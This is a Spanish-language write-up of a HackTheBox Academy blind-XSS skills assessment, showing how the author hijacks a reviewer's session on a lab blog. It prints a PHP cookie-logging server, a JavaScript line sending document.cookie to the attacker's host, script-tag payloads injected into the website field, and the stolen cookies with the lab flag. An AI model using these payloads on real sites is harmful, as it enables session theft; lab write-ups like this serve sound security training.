---
title: "Writeup Skills Assessment (XSS CWES HTB Academy) — HackTheBox"
machine: "Skills Assessment (XSS CWES HTB Academy)"
platform: "HackTheBox"
difficulty: "Fácil"
operating_system: ["Web"]
tags: ["web", "xss"]
author: "juanluismm520"
author_url: "https://writeups.es/u/juanluismm520"
source: "https://writeups.es/writeups/hackthebox/skills-assessment-xss-cwes-htb-academy/juanluismm520"
license: "CC BY-SA 4.0"
published: "2026-07-09T17:40:26.868174+00:00"
updated: "2026-08-14T18:15:44.659871+00:00"
words: 316
reading_minutes: 2
---# Skills Assessment (XSS CWES HTB Academy) — HackTheBox

# Skills Assessment (XSS CWES HTB Academy)

> Plataforma: **HackTheBox** | Dificultad: **Fácil** | IP: `10.129.234.166`

---

## 📝 Resumen

Estamos realizando una tarea de pruebas de penetración de aplicaciones web para una empresa que te ha contratado, la cual acaba de lanzar su nuevo Security Blog. En nuestro plan de pruebas de penetración de aplicaciones web, hemos llegado a la parte en la que debes probar la aplicación web en busca de vulnerabilidades de Cross-Site Scripting (XSS).

Inicia el servidor de abajo, asegúrate de que estás conectado a la VPN y accede al directorio /assessment en el servidor usando el navegador:
![Imagen](https://heqkdeabwizixwftdumf.supabase.co/storage/v1/object/public/writeup-images/318f5db5-2777-441d-bccc-080db9bfff1e/3e3c4d62-055f-445c-b4ca-dc9ea8afc18b.webp)

Aplica las habilidades que aprendiste en este módulo para lograr lo siguiente:

1. Identificar un campo de entrada de usuario que sea vulnerable a una vulnerabilidad XSS
2. Encontrar un payload XSS funcional que ejecute código JavaScript en el navegador del objetivo
3. Usando las técnicas de secuestro de sesión (Session Hijacking), intenta robar las cookies de la víctima, las cuales deberían contener la flag

## Explotación
En este caso si buscamos vemos como hay un apartado de comentarios. 

![Imagen](https://heqkdeabwizixwftdumf.supabase.co/storage/v1/object/public/writeup-images/318f5db5-2777-441d-bccc-080db9bfff1e/be52c84a-ff88-4d0e-b93b-8bf71ded997b.webp)



Tal como nos dice el enunciado, estamos ante un **_BLIND XSS_** pues no sabemos que campo es vulnerable.
Lo primero es seguir las indicaciones que se nos da en la academia para este tipo de ejercicios:

### 1.-Montar un servidor que almacene las cookies
Para eso simplemente creamos el fichero `index.php` y `script.js`

```php
<?php
if (isset($_GET['c'])) {
    $list = explode(";", $_GET['c']);
    foreach ($list as $key => $value) {
        $cookie = urldecode($value);
        $file = fopen("cookies.txt", "a+");
        fputs($file, "Victim IP: {$_SERVER['REMOTE_ADDR']} | Cookie: {$cookie}\n");
        fclose($file);
    }
}
?>
```

```js
new Image().src='http://OUR_IP/index.php?c='+document.cookie;
```

Nuestra IP viene determinada por la IP de la VPN de HackTheBox.
Y montamos el servidor con el comando
```bash
sudo php -S 0.0.0.0:8080
```



### 2.-Identificamos el campo vulnerable a XSS

![Imagen](https://heqkdeabwizixwftdumf.supabase.co/storage/v1/object/public/writeup-images/318f5db5-2777-441d-bccc-080db9bfff1e/7684acd5-95e7-415c-a891-d846bd831ce0.webp)

Descartamos que email es vulnerable debido a la validación del campo. 
Si esperamos unos segundos, nos llega una petición a nuestro servidor
![Imagen](https://heqkdeabwizixwftdumf.supabase.co/storage/v1/object/public/writeup-images/318f5db5-2777-441d-bccc-080db9bfff1e/b771f98f-ddbb-414b-9c1f-5ded99632188.webp)


Indicando que el campo vulnerable es website y que además simplemente funciona con el payload
```bash
<script src="http://10.10.14.125:8080/website"></script>
```

Para llevar a cabo el ataque simplemente llevamos al revisor a nuestro script.js de esta forma 
```bash
<script src="http://10.10.14.125:8080/script.js"></script>
```
Colocamos el payload en el campo vulnerable (website) y nos dará la flag

![Imagen](https://heqkdeabwizixwftdumf.supabase.co/storage/v1/object/public/writeup-images/318f5db5-2777-441d-bccc-080db9bfff1e/1ee24a09-1e7c-4164-9da0-1fa5c618e3e6.webp)


```bash
┌─[eu-academy-5]─[10.10.14.125]─[htb-ac-2334078@htb-6ey8cwbbfy]─[~/server]
└──╼ [★]$ cat cookies.txt 
Victim IP: 10.129.234.166 | Cookie: wordpress_test_cookie=WP Cookie check
Victim IP: 10.129.234.166 | Cookie:  wp-settings-time-2=1783621506
Victim IP: 10.129.234.166 | Cookie:  flag=HTB{cr055_5173_5cr1p71n6_n1nj4}
┌─[eu-academy-5]─[10.10.14.125]─[htb-ac-2334078@htb-6ey8cwbbfy]─[~/server]
└──╼ [★]$ 

```


---

> Writeup de **juanluismm520** publicado en [writeups.es](https://writeups.es/writeups/hackthebox/skills-assessment-xss-cwes-htb-academy/juanluismm520).
> Si citas este contenido, enlaza a la fuente original.
